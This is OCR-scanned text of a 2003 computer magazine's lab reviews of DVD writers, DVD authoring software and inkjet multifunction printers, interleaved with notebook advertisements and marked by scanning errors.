drive was on par with the other 12x DVD drives tested. 

When transferring data from CD, the transfer rate slightly 
decreased during transition between tracks, but the interruption 
to the average data transfer rate was no more significant than any 
other drive. From our experience in the labs, the only negative 
aspect to the drive was that we couldn't get an accurate Indication 
of the data transfer characteristics of the drive, as the test repeatedly 
crashed when performed on drives adhering to the DVD-(-RW 
Alliance standard. 

Also, the average random seek time is comparable to all other 
drives, but the full seek time (the time it takes for the lens to move from 
the centre of the CD/DVD to 
the outside edge) was a good 
30-100 milliseconds faster than 
almost all other drives. 

In aesthetic terms, the 
drive doesn't look as bland 
as the other drives in this 
round-up. The simple black 
strip on the underside of the 
tray bezel is a pleasant change 
from the usual beige CD and 
DVD drives. 

Included in the box is 
an internal IDE and audio 
cable, screws, DVD-t-R and 
DVD-l-RW discs, a manual, and 
a Nero and MyDVD software 
installation CD. 



















f^YP writers 


HP DVD Writer DVD:3DOI 



The overall performance of the DVD300i was very 
pleasing — it wrote the test image to DVD+R 
media in less than 14 mins at 4x, and to a DVD+RW 
disc in just a fraction over 23 mins at 2.4x. Both 
these times are only a few seconds slower than the 
Plextor PX-504A. 

Moreover, there was no degradation in the 
data transfer rate when changing tracks during CD 
reads, which resulted in a high average CD data 
transfer rate of 25.12X. DVD read performance 
was also solid, although we couldn't get a totally 
accurate plot of data transfer across a whole DVD as 
the test repeatedly crashed in the same place as the 
Plextor drive. 

On the downside, the DVD300i's average seek 
time when reading from DVD media was a tardy 
171ms, which will impact performance when 
reading from discs containing a large number of 



files spread across different locations on the media. 

Along with the drive in the retail kit, HP 
bundles ArcSoft ShowBiz authoring software, 
Veritas RecordNow burning software, DVD+R and 
DVD+RW media, mounting screws, an internal 
audio cable and a one-year warranty. 

The same drive in an external enclosure 
supporting both FireWire and USB 
2.0 (the DVD300e model) 
sells for $749. This 
internal model, 
however, is 
$100 cheaper. 



Plus or mlnu&P 


When the CD recordable format was first suggested, a standard 
was quickly agreed upon and adopted by all major 
companies in the industry. The same can't 
be said for the DVD recordable 
format, and as a result, we have 
□iwo separate standards — DVD- 
R/Wand DVD+R/W. 

The minus format was the first 
one to appear that was compatible 
with standalone DVD players, and 
was supported by the DVD Forum 
(www.dvdforum.com). Some 
drives of this format may also 
■ support DVD-RAM, a rewritable 
standard that has been used for many 
years by those who record and edit 
video directly on DVD. The plus 
format arrived soon after, and had some 
extra features over DVD-R/W, including 
support for constant angular velocity 
(CAV), constant linear velocity (CLV) writing 
methods, and lossless linking — all of which ' 
assist the modification of data on the DVD 
media itself. This standard is supported by the 
DVD+RW Alliance (www.dvdrw.com). 

Both standards have roughly the same level of compatibility 
with DVD reading equipment (approximately 90% of players are 
compatible with the recordable versions of the standards, and 
around 70% of players are compatible with the rewritable versions), 
and equipment is now emerging that allows you to write on both 
formats. Because the majority of players can read either format, the 
struggle between the two formats is more of a competitive race 
rather than a war where only one format will survive. We expect 
both formats will be around for years to come. 


When push comes to shove, most people 
just want to know whether what they 
record will work on their player. 
Unfortunately, it's impossible 
know this for certain 
without trying it out. 

For example, we 

DVD+R 
and DVD-R 
discs with 
the Plextor 
PX-504A drive, 
and took turns at 
testing them on our home 
equipment. Only one of our home 
DVD players couldn't read the DVD+R 
disc, but it had no problem with the DVD-R 
version of the disc. 

In many cases, media compatibility can be an issue — if you 
have a player that's advertised as being able to read both DVD-RW 
and DVD+RW discs and find that it's having difficulties, try using 
media from a different manufacturer. Media compatibility has 
improved over the years, but we're still a long way from having 
recordable discs that every device can read. 

Presently, the jury is still out on which format is actually the 
best. Current market conditions indicate both formats are 
shipping roughly equal amounts of drives and media. One 
factor that's putting DVD+R/W slightly ahead is the support 
that the DVD+RW Alliance is receiving from manufacturers, 
sellers and software vendors, such as Hewlett-Packard, Dell and 
Microsoft. For this reason, we lean towards recommending a 
DVD+R/W solution, although there is nothing wrong with 
using DVD-R/W. 










LaCip DVD Retzordpr (DVR-IOEa) 



LaCie's internal drive is OEMed by Pioneer and 
performs almost identically to the Pioneer 
DVR-A05. The DVD-R writing time of 14 minutes and 
25 seconds hit the target set by the company's spec 
sheet. When testing on rewritable media, however, 
we couldn't burn at the advertised 2x speed — Nero 
only gave the option of burning at lx. That said, the 
burn time of 56 minutes and 48 
seconds is on par for a 
single-speed burn. 
When reading 
from CD media, the 
shift in data transfer rate 
while changing between 
tracks was more significant 
than other drives. When 
reading from DVD media, we 


received an unusual result — between the 2.5GB 
and 3GB mark on the disc, the drive dropped to 
half its regular speed, which likewise halved the 
data transfer rate. 

At the 3GB mark the drive spun up to normal 
revolution rate and, as a result, the data transfer 
rate went back up to what we'd expect to see. And 
toward the end of the disc, the data transfer rate 
exceeded the 12x listed in the product specs. 

Physically, the DVR-105 looks like your 
run-of-the-mill internal combo drive. The retail 
kit contains a 4.7GB DVD-R disc, internal audio 
cable, two mounting screws, quick install guide, 
software CD, and information on the one-year, 
limited warranty. 

LaCie also sells an external FireWire version of 
this drive for $845. 



LG Supe>r CD/DVD ReWrlter (DMA-M0c50B) 



This rebadged Hitachi drive was one of two in our 
round-up to handle both DVD-R/W standards and 
DVD-RAM. While testing DVD read performance 
the GMA-4020B consistently displayed a drop in 
data transfer rates. Throughput began at 4.23x and 
increased as expected to 8.7x at the 2.7GB mark, 
where it then slowed from 6,000rpm to 5,000rpm 
and continued at this 

speed for the rest 
of the test. This saw 
the transfer rate 
drop to just under 
7x, then creep up 
again to Just overBx by 
testing's end. 

The drive performed well 
during CD read tests, where 


the data transfer rate matched expected values, 
especially when passing from one track to another. 

Write performance was comparable to other 
drives with the same listed spec. While 30 minutes 
for burning a DVD-R isn't spectacular, it's a pretty 
good time for a 2x recordable drive. 

A more positive result was a random seek 
time for DVD reading of 99ms, which is very good 
compared to most drives in this challenge. While 
the GMA-4020B isn't the fastest drive in terms of 
transfer rates, it can take other drives more than 
40% longer to seek information on a different 
sector on the DVD (advantageous when reading 
from discs containing large amounts of files). 

The bundle includes an internal IDE and 
audio cables, a small bag of screws, DVD-RAM and 
DVD-RW discs plus some pedestrian software. 




Of all the drives in this round-up, Panasonic's 
SW-9571 was the most stable during data transfer 
tests. The drive's rotation remained constant while 
reading an entire DVD or CD, giving the data transfer 
rate graph a smooth curve. This helped the SW-9571 
score the highest average data transfer rate in this 
Labs Challenge. And the average random seek time 
for this drive was second only to the LG 4020B. 

This drive performed 
the CD audio 
extraction test 
10 seconds, 
the quickest of all 
units tested. When 
writing to recordable 
and rewritable media, the 
times were comparable to 


test: 


Labs challenge 


Other drives that have the same specs. Overall, the 
SW-9571 was a very consistent performer, though 
faster writing speeds would've been nice. 

The SW-9571 can also read from and write 
to DVD-RAM discs. Because of this, the "drawer" 
may look a little unusual for those unfamiliar with 
the DVD-RAM cartridges. Discs must be placed 
accurately between the drawer's guides. 

The kit comes with mounting screws, an 
internal audio cable, 4.7GB DVD-R and DVD-RAM 
discs, B's Recorder and B's Packet Writing software 
and lnterVideo'sWinDVD4 DVD playback software. 

The drive is also available in a DVD Movie 
Studio kit, marketed by Panasonic and Pinnacle 
Studios, containing Pinnacle's Studio 7 SE video 
editing and Express authoring software, a FireWire 
PCI card and cable for $780. 



















DVD writers 


Pioneer DVR-Aos 



This successor to the long-lived and incredibly 
popular A04 was our choice for the Burner PC 
configuration in our "Design it. Build it. Boot it” 
feature {ARC April, page 122). 

In data transfer tests, the AOS behaved the 
same as LaCie's model 105: between the 2.5GB 
and 3.0GB marks, the drive spun down to 3,750rpm 
— half the speed that the drive spun at during 
the remainder of the test. This lowered data transfer 
rate for a short while and brought the average 
data transfer rate down to 8.68x. 

Writing a DVD-R disc was completed in just 
under 15 minutes (exactly what you'd expect 
from a 4x recorder). Nero only allowed burning 
at lx using rewritable media, but this indicates 
more of an issue with the test media rather than 
the drive itself. 



The drive is bundled with a 4.7GB DVD-R disc, 
a 4.7GB DVD-RW disc plus a bevy of Ulead 
software: DVD Workshop SE for DVD writing; 
VideoStudio6.0SE for video editing and DVD 
authoring; and DVD Pictureshow SE for creating 
DVD slide shows. 


even faster drive (production 
samples badged as the 
A06) will ship sometime 
in late June. This 
could be worth 
holding out for, 
otherwise you 
can expect some 
great run-out deals 
on theA05. 







































It*& DVD 

showtimea 


You have your DVD writer, but what should you 
use to create DVD videos for playback on your TV? 
JarrodSpiga compares five DVD authoring apps. 

It may be said to mean Digital Versatile Disc, but the DVD hasn't proven 
all that versatile, especially when it comes to compatibility between 
writing formats and playback machines. 

The original consumer DVD standard was built around video 
content for the consumer market, defining an interface method for 
feature and scene selection via the use of menu systems. 

But DVDs created on a PC frequently contain many types of raw 
data such as video to audio. In most cases, video DVD players can't 
read the data on these discs because the information is encoded in a 
format unrecognisable to the player. 

This is where DVD authoring software steps in: converting the 
raw data from your PC into a format that can be read by DVD video 
players, and creating menu-based interfaces for playback. 

A VOLATILE MARKET 

DVD authoring software hasn't been around for long, so the market is 
yet to mature. As a result, most of it is bundled with other associated 
applications, making up small suites. 

There are two broad classes of DVD software. Mastering and burning 
packages are primarily for creating data-oriented DVDs where the disc's 
entire 4.7GB platter is used for dumping files.Then there are video editing 
bundles, which are more expensive, but come with powerful editing 
applications that can turn home-shot video into a professional display. 

Both categories of software also contain some form of DVD 
authoring application, which compiles mixed media onto the disc and 
creates the familiar browsable DVD menu interface. 

The focus of this Labs Challenge is on those DVD authoring 
packages rather than simple data-dumping packages or complex 
video editing suites. For that reason, we excluded the likes of Ahead's 
Nero Burning ROM and Gear Pro DVD, which are aimed more at DVD 
data burning than authoring. 

At the time of writing there were some prominent players 
still waiting in the DVD authoring wings. Adobe's forthcoming 
Encore is expected to make quite a splash when it's released in a couple 
of months. Also, some smaller applications are being bought by larger 
vendors and amalgamated with other packages. For example, Roxio 
(in itself an Adaptec spin-off) recently purchased VideoWave from MGI, 
although we were unable to obtain Roxio's latest version of this app. 

To test-drive our Editor's Choice (Sonic Foundry's Vegas+DVD) plus 
Ulead DVD Workshop (see page 78), check this Issue's cover CD set. 
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Sonic Foundry's Vegas+DVD is a complete video editing and DVD 
authoring package. Included in the box is the Vegas 4 video editing 
application, DVD Architect DVD authoring app, and the Dolby 
Digital AC-3 Encoder. 

Most other apps in this roundup follow a procedural method to 
create the DVD video. DVD Architect starts with the menu 
and gives you the freedom to customise and change 
_ content at will. The screen is divided into three 

sections — the working window, the media explorer 
and the properties section. The working window 
initially consists of a blank canvas. You can change the canvas 

properties or work with it by adding images, sounds, animations 
or objects. Each menu item is an object and you can customise its 
properties to achieve the functionality you want it to have. 

One of the things that really makes DVD Architect stand out from 
the pack is its ability to compose menus with video previews for 
thumbnails. Combine this with support for up to 36 buttons per 
menu, total flexibility for thumbnails, sub-menu creation, image 
slideshows, the capability for motion backgrounds, and you have 
all of the tools that you need to create professional-quality DVD 
menus for your video features. 

Assigning a video clip to a menu object is as simple as dragging the 
video from the media explorer. If you double-click the menu object, 
you have the ability to master the video for use on the DVD. Chapter 
creation, customisation of start and end points, video timeline 
preview and thumbnail customisation features are readily available 
from within DVD Architect. You can also easily export the video to 
Vegas for editing. 

Format support in the app 
is comprehensive, with support 
for AVI, MPEG, Quicktime and 
Windows Media video formats, 

WAV, MP3, Windows Media PCA, 

AIF, MPEG and AC-3 audio formats, 
and a multitude of image formats. 

Vegas+DVD is a little expensive, 
but you do get the full video 
editing, mastering and DVD 
authoring package. Its features and 
flexibility put it in a class above the 
rest of the competition. 
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DVD software 



Adaptec 

Sonic MyDVD 



The design of this package has been influenced by Windows Media 
Player — its look and feel is surprisingly familiar, and still simple to use. 
However, it lacks video editing tools. 

On launching Adaptec's Sonic MyDVD, you're greeted with a 
welcome screen that's similar to most other packages reviewed. 
From here, you have some basic options for the type of media that 
you are using the software for — whether you intend to create 
a DVD or a Video CD. Once you have made this selection, the 
application launches. 

Video capture can be performed, provided that you have the 
appropriate hardware. One thing that really struck us was the absence 
of any video editing tools in the authoring package itself— any editing 
you may want to do needs to be done in the bundled Showbiz package 
before you use the MyDVD application. This includes cutting video 
clips at defined points in order to assist with chapter creation. 

You do have the ability to trim clips from MyDVD, but it's almost 
impossible to be certain that you have trimmed the clip to start at the 
frame that you trimmed the previous one to finish on. Ultimately, the 
lack of this feature in the authoring software can lead to the creation 
of DVDs where video clips may overlay, or have gaps close to the 
transition between chapters. 

MyDVD also has the ability to create picture slideshows. Adding 
pictures to the collection is simple, and the software allows you to 
perform basic tasks on the images, such as rotation and captioning. 

On the DVD Menu functionality perspective, submenus can be created 
with the ability to loop video in the menu background; this latter effect 
is frequently used on mass-market DVDs, and can look impressive 
when used correctly. 

Unfortunately, there isn't a lot 
of flexibility when it comes to the 
layout and format of the menus 
themselves. You can select from 
a variety of styles, but you are 
limited to using the basic layout 
included with each style. 

This particular piece of 
software is bundled with a number 
of DVD rewritable drives. Overall, 
this package is fairly basic, and will 
do the job — just not as well as 
some of the other packages. 



The Pinnacle Instant CD/DVD suite consists of a number of linked 
applications that serve a single purpose. At the core of the suite is 
the Expression application, which allows you to use your computer to 
turn any videos and pictures into DVDs and VideoCDs, ready to play 
in DVD Players. 

The first step in mastering your VCD/DVD is to capture or import 
your video or image sources. If you have a DV video camcorder with a 
FireWire interface. Expression can capture that video. Alternatively, you 
can also import MPEG and AVI videos, and JPEG images for inserting on 
to the VCD/DVD. 

Once you have imported all media. Expression will sort through 
it and compose a preview of what the finished product may look 
like. From here you can customise the DVD menu, chapter or scene 
start points and captions, combine, split or delete scenes, change 
thumbnails and more. Expression gives you the ability to preview 
your changes at any time during the editing process. 

Unfortunately, there is no support for submenus, meaning that 
titles with large numbers of scenes may end up having dozens of 
menu screens. Also, the level of flexibility in customising how the 
menu screens can actually look is fairly limited. 

Once you have things just the way that you want them, the final 
step Is to burn it to a CD or DVD. Also included In the authoring 
application is support for overburning. There is no support for the 
DVD-RAM format, though this isn't a major problem, as DVD-RAM 
seems to be losing popularity. 

The suite also handles the regular transfer of files and audio to CD or 
DVD via the Instant Disc application. The Instant Disc API is made up of 
the usual drag-and-drop windows 
we see in most burning applications. 

Instant Copy allows direct copies of 
one disc to another (provided that 
the disc is not copy-protected). The 
ability to back-up and restore files 
and directories from your computer 
is handled by Instant Backup. 

Less significantly. Instant Drive 
sets up virtual CD or DVD drives. 

Lastly, Instant Music allows you to 
master and edit audio streams for 
composition of music CDs 
and DVDs. 



apcmag.c 


• labs challenge | 
































Roxlo 

&c3£»Lj CD & DVD Cre^cator Ed 

Roxio's Easy CD & DVD Creator 6 is a suite of applications designed 
to handle a variety of CD and DVD authoring scenarios. All functions 
within the DVD authoring application, DVD Builder, can be performed 
via the graphical interface that you are greeted with when the 
program is launched. 

We were very impressed with the array of options that you have at 
your disposal in relation to how you can import data for use on your 
DVD. Like all of the applications in this Labs Challenge, DVD Builder can 
capture video from a FireWire-equipped camcorder and can import 
video and image files already existing on your computer. On top of this, 
importing from analog capture cards and USB cameras is supported, 
along with TWAIN/WIA functionality — this means that you can scan 
images directly into the application at any time. 

Most DVD authoring applications then take your media, allow you 
to edit it, and then build the menu for your DVD. Roxio's approach is 
slightly different, as both video manipulation and menu creation are 
done at the same time. When you drag-and-drop a video clip to the 
composition, a DVD menu item is automatically created. The creation 
of submenus is as simple as clicking on a button and modifying the 
look and feel. When editing menus you can choose from a number 
of pre-defined menu styles, or select a custom video or image. Other 
menu creation tools at your disposal include sound embedding, 
thumbnail selection and transitions. 

The workshop window lets you queue additional video clips 
in the same DVD chapter, or create different chapters. You also have 
the option to trim your video clips by cutting a section from the 
beginning or end, or by splitting the clip at a certain point — this 
latter tool is invaluable for getting your chapters right on your 
final product. 

Included is support for DVD 
Video Recording (DVD VR).This 
presentation standard is one of 
the extensions offered in the 
DVD-i-RW media format, and is 
designed to handle real-time 
recording of video to DVD for the 
purposes of video editirig. DVD 
Builder offers enough features to 
produce quality DVDs, especially 
when combined with the other 
apps in the suite. 



Ule>ad 

DVD Workshop 

Ulead's DVD Workshop is a single, powerful application with many 
advanced features. One of the few drawbacks of the product however 
is that it's not as intuitive as others. 

Displayed across the top of the interface is a navigation bar, titled 
the Guided Workflow. The first option. Start, gives you project-based 
options and lets you create a new project file or open an existing 
one for further editing. The next option on the navigation bar is the 
Capture option: this collects the media to be used on the DVD. It can 
capture video or images from your digital camcorder connected to 
a FireWire interface, from an analog video source connected to an 
S-Video or composite input, or via USB Webcam. 

During capture, DVD Workshop has the ability to perform Scene 
Detection, which segments video streams into separate clips. This 
feature is useful for defining chapters on your DVD. You can also import 
previously saved images and video to the project. 

The third option on the Guided Workflow, Edit, is designed 
to compile your DVD feature using the concept of titles and 
chapters. Each media clip you have can be dragged across and 
included on the DVD as a title, and each title can be broken up into 
a number of chapters. If you have captured your video with 
automatic scene detection, these scenes would show up as separate 
chapters by default. 

Fourth along the Guided Workflow is Menu. Using the Menu 
Wizard, you can select how many chapters you want displayed on each 
menu page, the page background, music, buttons, text and format, 
and so on; about the only other thing you could want is an option to 
have animation in the background and as a transition between menus 
and chapters. The menu editing functions can also nest menus under 
other menus, giving the most 
flexible menu creation system in 
our roundup. 

Once the DVD contents have 
been finalised, the Finish option 
generates a preview of exactly 
what the DVD will look like, and 
then gives you the tools to burn 
it. Formats supported by DVD 
Workshop include DVD-R/RW, 

DVD-fR/RW and CD-R/RW, but 
overburning is not natively 
supported. 






























The Notino Cl 000 with Intel' Centrino"' Mobile Technology 
The Notino Cl 000 series from Hi-Grade features 
Intel's new groundbreaking Centrino™ mobile 
technology designed specifically for wireless 


and flexibility of a truly 
mobile lifestyle 



TECHNOLOGY 


Hi-GRADE 
NOTINO Cl 000-1300 

InteP Pentium’‘ M processor 1.3GHz, 
includes 1Mb cache, supports Inter Enhanced 
SpeedStep* technology’* 
tntet' 855GM chipset 
256Mb DDR DRAM 
20Gb hard disk drive 
14.1" TFT XGA colour screen 
Integrated 3D graphics chip shares 
32Mb system RAM 
DVD/CD-ReWriter 
Internal 56K modem 
Internal 10/100 Base-T Ethernet 
Built-in wireless 802.11b LAN 
Carry case 

_r starting from T 


*2995 "* 27 “ 


notebook PCs - delivering outstanding 
performance, integrated wireless LAN capability 
and extended battery life in some of industry's 
thinnest, lightest, sleekest, robust notebook 
designs with a 14.1" screen. 

The Notino Cl 000 runs the new Intel® Pentium-M 
processor at up to 1.6GHz. With its massive 1 Mb 
level 2 cache, the Intel® Pentium-M is designed to 
deliver performance equivalent to a significantly 
higher clock rated Intel® Pentium® 4 processor or 
Mobile Intel® Pentium® 4 processor - M, but with 
reduced power requirement. 

Award winning computers from Hi-Grade. 
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^^Award winning computer 


Designed in the UK, built in Australia 


Executive desktop 
replacement 
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ULTINOTE M6600 

Features & Options 


Pentium* 4 processor 1.8- 2.5GHz - M 
supports EnhancedIntei* SpeedStep* Technology*' 


SiS650 chipset 

256Mb (up to 1024Mb) DDR RAM 


20Gb (up to 60Gb) hard disk drive 


Built-In 4-ln-2 card reader 
(MMC/SD/SM/MS) module 


Li-Ion battery 12 cell (~3hours) 


Type II PC-card slot 
Mini-PC! 


Ports: external VGA, 4 x USB 2.0, parallel, serial, 
IEEE1394, TV-out, IR, line-out (with SPDIF), mic-in 


Built-in Wireless 802.11b LAN module ot 
Dimensions: 332 x 285 x. 


NOTING R5400 

Features & Options 


Mobile Inlet* Pentium'* 4 processor 1.8 - 2.5GHz - M 

• supports Enhanced Met* SpeedStep* Technology** 

• VIA P4N266 chipset • 128Mb (up to 640Mb) DDR 
RAM • 20Gb (up to 60Gb) hard disk drive • 14.1" 
TFT XGA colour screen • Nvidia GeForce4 420 Go 
with 32MB DDR VRAM • DVD-ROM/CD-ReWrIter 
combo drive • Li-ion battery 6 cells (~ 2.5 hours) 

• Type II PC-card slot • Ports: external VGA, 3 x USB 
2.0 pods, parallel, serial, IEEE 1394, mic-in, TV-out, 
IR, line-out • Built-in Wireless 802.11b LAN module 

option • Dimensions: 312 x 257 x 35mm 
• Weight: 2.6kg • Semi-ruggedised casing for 
extra durability • Spill-proof keyboard 



All notebooks come with internal 56k V90 modem, internal 10l100Base-T ethernet, Microsoft* Windows* XP home edition, 
antivirus software, metal edge protected carry case and 2 years collect and return international warranty with accidental damage cover. 


QD Innovative Computer Pty Ltd 
Unit 1, S0-S4 Howleys Road, Hotting Hill, VIC 3168 Tel: (03) 9S4S ( 
Fax: (03) 9S4S 63SS email: higrade@qditech.com.au www.qditech.c: 


...FOR LATEST PRICES AND MORE CONFIGURATIONS CALL 

I 800 770 550 

OR CONTACT YOUR LOCAL RESELLER 




























ivith the best warranty around^ 


PC World (AUS) March 2003 


NOTINO 4400 

Features & Options 



Mobile Intel' Pentium' 4 Processor 1.8 - 2.5GHz - M | 


• supports Enhanced Intel'' SpeedStep" Technology' * 

• SiSeSO chipset • 128Mb (up to 1024Mb) DDR 
RAM • 20Gb (up to 60Gb) removable hard disk drive 

• 14.1” TFT XGA colour screen • SIS Integrated 3D 
graphics, shares system RAM up to 64Mb • CD-ROM 

or DVD-ROM/CD-ReWriter combo drive, Built-in 
floppy disk drive • Li-ion battery 8 cell (-2.5 hours) 
• Type II PC-card slot • Ports: external VGA 

• 2 xUSB 1.1, parallel, serial, IEEE1394, TV-out, IR, 
line-out, mic-in • Built-in Wireless 802.11b LAN 
module option • Dimensions: 325 x 269 x 40mm 

• Weight: 3.2kg 


3 spindle with 
full legacy support 


Slimline high tech 
with 3:2 

widescreen 




Mobile InteP Pentium'^ 4 processor 1.8 - 2.5GHz - M 
• supports Enhanced Intel* SpeedStep* Technology" 


256Mb (up to 1024Mb) DDR RAM 
20Gb (up to 60Gb) hard disk drive 


Nvidia GeForce4 440 Go with 64MB DDR VRAM 


DVD/CD-ReWrIter combo drive 
or CD/DVD-R Combo drive 
U-ion battery 9 cell (-2.30 hours) 


Ports: external VGA, 2 x USB 2.0, parallel, serial, 
IEEE1394, JV-out, IR, line-out (w'lth S PDId, mic-in, line-in. 
Built-in Wireless 802.11b LAN module option, 

352 x 260 x 2 9.9-31.4mm 
Weight: 2.7kg 


noRS400-2000 UltiNote M6600 Notino 4400 UltiNote M6600 Notino R5400 Ultinote M6600 Notino4400 

PC Authority (AUS) PC Authority (AUS) PC Authority (AUS) PCWorid(AUS) PC Worid (AUS) PCWorid(AUS) PCWorid(AUS) 

Best Buys Best Buys Best Buys Best Buys 
Decemt 1002 February 2003 Mareh 2003 March 2003 April 2003 May 2003 May 2003 


Hi-Grade 
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Pr/ces vm Irom 21.05.03. Deltwry charge applies lor aV orders wkhln Australia, please c^. *Weeltfypayments are based on Flexirent's 48 month p^m^ plan. Flexirent's terms and conditions apf^. Hard drive: 6b mem 1,000.000,000 bytes: total 
Kcessible capacty varies depmhng on oper^ environmenl. Modems: Maximum data transfer rate is depend&H on c&tain ^c/ors including telept^ Aws, communication software and communkatltm protocol. LCD screens: Warranty covers 5 dead 
pixels or more than 2 p^ of at^xntpix^. ‘'The [xocessor may be reduced to a lower operating speed when operating on battery pom. Hi-Grade. Notino and UltiNote are registered tradmaisol Hi-Grade Computers pk. InM. Intel Inside, the Intei Inside 
- -/r— jr. - registered trademarks ol Intel Corporabwi or ds subsidiaries in the UnSed Stales and other countries. Microsoft, Windows and die Windows logo are trademarks or re^emd Irademarks o/ Microsoft 






























Printer manufacturers are looking to multifunction 
devices (MFDs) as a growth area in a crowded market. 
David Lin compares seven of the latest models. 

While personal printer sales continue to be flat, multifunction devices 
are enjoying fantastic growth. So it's no surprise that the major printer 
manufacturers are looking at this segment of the market, fleshing out 
product lines to cover the relevant functionality and price points. We 
put seven current releases through the APC labs. 

These units are at the lower end of the MFD scale, offering print, 
scan and copy functionality. And, in the case of the Brother model, 
there is an added fax. All use inkjet printing technology and USB 
interfaces with their PC hosts. Plus, they're designed as standalone 
products for personal use. 

The basic tenet with MFDs is that the sum of the parts should 
outweigh the relative merits of the individual components. Therefore, 
a dedicated scanner in the price range will out-scan the MFD; an inkjet 
printer will offer better print quality or speed (or both); and the office 
photocopier will be quicker and more convenient than the MFD. 

On the other hand you only need to find room for one box on the 
desk instead of three, and the quality gap between a dedicated device 
and an MFD is narrowing. 

All seven MFDs tackle "tasks" as opposed to functions. Traditionally, 
you install the printer, scanner or copier and then go to Word, 
PowerPoint or Photoshop and tell it to scan or print from within the 
application. MFDs allow the user to tackle it all as a single task. You may 
not have the control that you'd like for a professional job, but an MFD 
can usually do a good job with its default settings. 


Each MFD was connected to an 
FIP Presario 6290 PC running 
Windows XP Home. Word, 
PowerPoint, Excel and Photoshop 
were the test applications. We 
timed a number of print runs in 
normal and draft mode. 

We used two Word 
t documents: one of text, and one 
of mixed text and graphics. 

In Excel we used a single 


page worksheet and a filled chart. 
We also employed a 12-slide 
PowerPoint presentation. Photo 
printing was tested on media 
supplied by the manufacturer on 
the printer's best setting. 

Copying and scanning was 
tested for speed and quality 
by scanning a magazine cover 
with fluorescent colours and 


Epson 

Stljlus. CXzBIOO 

The Epson Stylus CX3100 is our Editor's Choice because it offers quality 
printing and scanning at a reasonable price. Colour copying took less 
than 60 seconds and under 30 seconds for the same page in black 
and white. Images were outstanding on plain or coated paper. Flesh 
tones were accurate and the scan from the CX3100 gave the best 

interpretation of the fluoro lettering on a magazine cover. 
Text printing was very efficient — it took just over a 
I |**'**s,. minute for 12 pages in draft mode (although it was 

noisy). Colour printing was superior to the other 
MFPs. There was 
banding underthe 
standard print mode across 
solid swathes of colour. 

Photo printing was Impressive, L-—- —- 
even on plain paper — some of the 1,200 x 2,400dpi 

plain paper prints rivalled results 
achieved with lesser printers using 
specialty paper. 

Much of the superior print 
output was achieved through the 
good control offered in the printer 
driver. Epson's Smart Panel is the 
hub of the provided software, 
offering options of Scan to Web, 

Photo Print, Scan for Creativity 
(scan to Arcsoft Photoimpression), 

Scan to File, Scan to OCR and 
other tasks. 

There's also Epson's 
PhotoQuicker cataloguing app 
and Photo Print in the bundle. 

Evidence suggests the Epson 
CX3100 also offers the best 
economy. Quoted figures don't 
resemble the actual experience. 

For example, the Canons needed 
a refill before the first run of 
print tests were finished, while 
the Epson completed all tests In 
normal mode with the sameset 
of cartridges. 
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Brother 

MF-C-^IOO 


It looks like a typical office fax machine — and yes it does offer a fax 

— but the MFC-3100 is fairly limited in other areas. For instance, the 
printer driver has no enhancements other than the basic functions 
provided within Windows. 

Due to the four separate ink tanks used (instead of the two- 
cartridge arrangement preferred on the other MFDs), this unit took 
more time to set-up. 

As for printing in draft mode, it proved quick and efficient, 
although we couldn't help but notice the coarseness of the colour 
drops on the page. And the default 
printing quality is adequate for 
everydayjobs.Butthe whine of the I 
motor as it draws through paper 
can be very annnoying. 

Photo printing proved 
haphazard — especially in colour 
matching when our photo prints 
gained a yeliow hue (although 
this could be accounted for by us 
using a third party brand's glossy 
photo paper). 

Scanning and copying 
were done using the fax input. 

Unfortunateiy, this arrangement 
makes it inherently difficult to 
scan odd-sized sheets (like the 
magazine cover). 

Of course, the advantage of this ThwoI 
over a flatbed is the gravity feed 
aliows you to stack severai sheets 
for scanning or copying. 

If you really need colour fax 
capabilities — and you're not too 
concerned about coiour printing 
quality, scanning or copying 

— then the MFC-3100 wili do fine 
for that requirement. 

Flowever, bear in mind that 
with this unit, aii functions 
other than the fax have been 
compromised. 




Canon 

lmc3Qe>CLAE>E> MPCIQO 

Canon's imageCLASS MPC190 offers superb colour printing capabiiities 
at the normai and best print settings, especially with photographs. The 
only downside is that it can be very siow. For exampie, it took under 
five minutes for the PowerPoint presentation to print in draft mode 

— which produces very grainy resuits — but dragged out to nearly 33 
minutes at the best setting on plain paper. 

Driver software is adequate for the number of useful user- 
configurable options, including borderiess photo prints. This, 
in conjunction with the Vivid Photo option and Canon's photo 
optimisation software, makes the imageCLASS MFDs appealing as 
standalone printers. _ 

Scanner and copier functions 
are identical to the MPC200 and 
likewise offer the same quality. It 
took some time for the scanner 
calibrating wizard to complete, 
but the results proved worthwhile. 

Colour photos default to 
300dpi which proved adequate, 
as did the 75dpi default for quick 
scan Jobs. 

Again, as was the case with 
most of the MFDs tested. Canon's 
interpretation ofthefluoro 
lettering on the magazine cover 
scan was inaccurate. 

Unfortunately, no PC Card slot 
or CF memory card hopper was 
provided to print images directly 
from a digital camera. Another 
problem was that both Canon 
MFD's pause regularly during 
longer print Jobs. Print times 
would improve dramatically if 
they could be accomplished with 
less delays. 

Overall, this is a good machine 

— the only thing on the wishlist 
apart from a fax capability would 
be a photo editor with a TWAIN 
import function. 


Z! 

17.4c * 


2,4c (mono); 17.4c 
(colour] under ISO 
12440 N5 

274 x394 x548mm 


l^ntact 

Canon Australia 

Phone 

1800021 

1 Online www.(^m)n.com.au j 

Price 

$399 1 

■ Bood printer control. 

n 

Slow print speed in 1 

default and best mode. [ 

l^rdict 
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This Canon model combines a USB colour inkjet printer with a 
colour A4 flatbed scanner and copier. It's a compact, attractively 
styled package. 

Using the MPC200 is straightforward, either from the front panel or 
through a host PC. Results on plain paper at the standard settings were 
good but not economical. Only 43 test pages were printed before the 
black ran dry. 

Canon rates black cartridge life at 300 pages in text (we printed the 
pages as a mix of text and graphics). At $13.95 per black cartridge it's 
not too hard on the pocket, yet it's a factor worth considering. Colour 
cartridges are $34.95 and rate at 
170 A4 pages. 

The added advantage of 
running in draft is speed. A 12-slide 
PowerPoint presentation took 
16.5 minutes in standard mode 
but only four in draft. During 
the print tests in standard mode 
the MPC200 paused for up to 
20 seconds while re-calibrating, 
cleaning and aligning. 

Photo printing results were 
excellent in situations such as 
indoor portrait shots, where 
options in the driver like Vivid 
Photo and Image Optimizer came 
into effect. 

The card reader built into the 
front panel accepts Compact Flash, 

Smart Media, Memory Stick and 
SD media, so you can print directly 
from your cards. The copy function 
has some clever enhancements, 
like reduce and enlarge, and 
multiple images. 

This model belongs in the home 
or small office market. It won't scale 
to a heavy usage environment but 
offers everything for smaller Jobs in 
the way of printing, scanning and 
copying with an easy interface. 


Canon 


ImcageCLASS MPCcEOO 
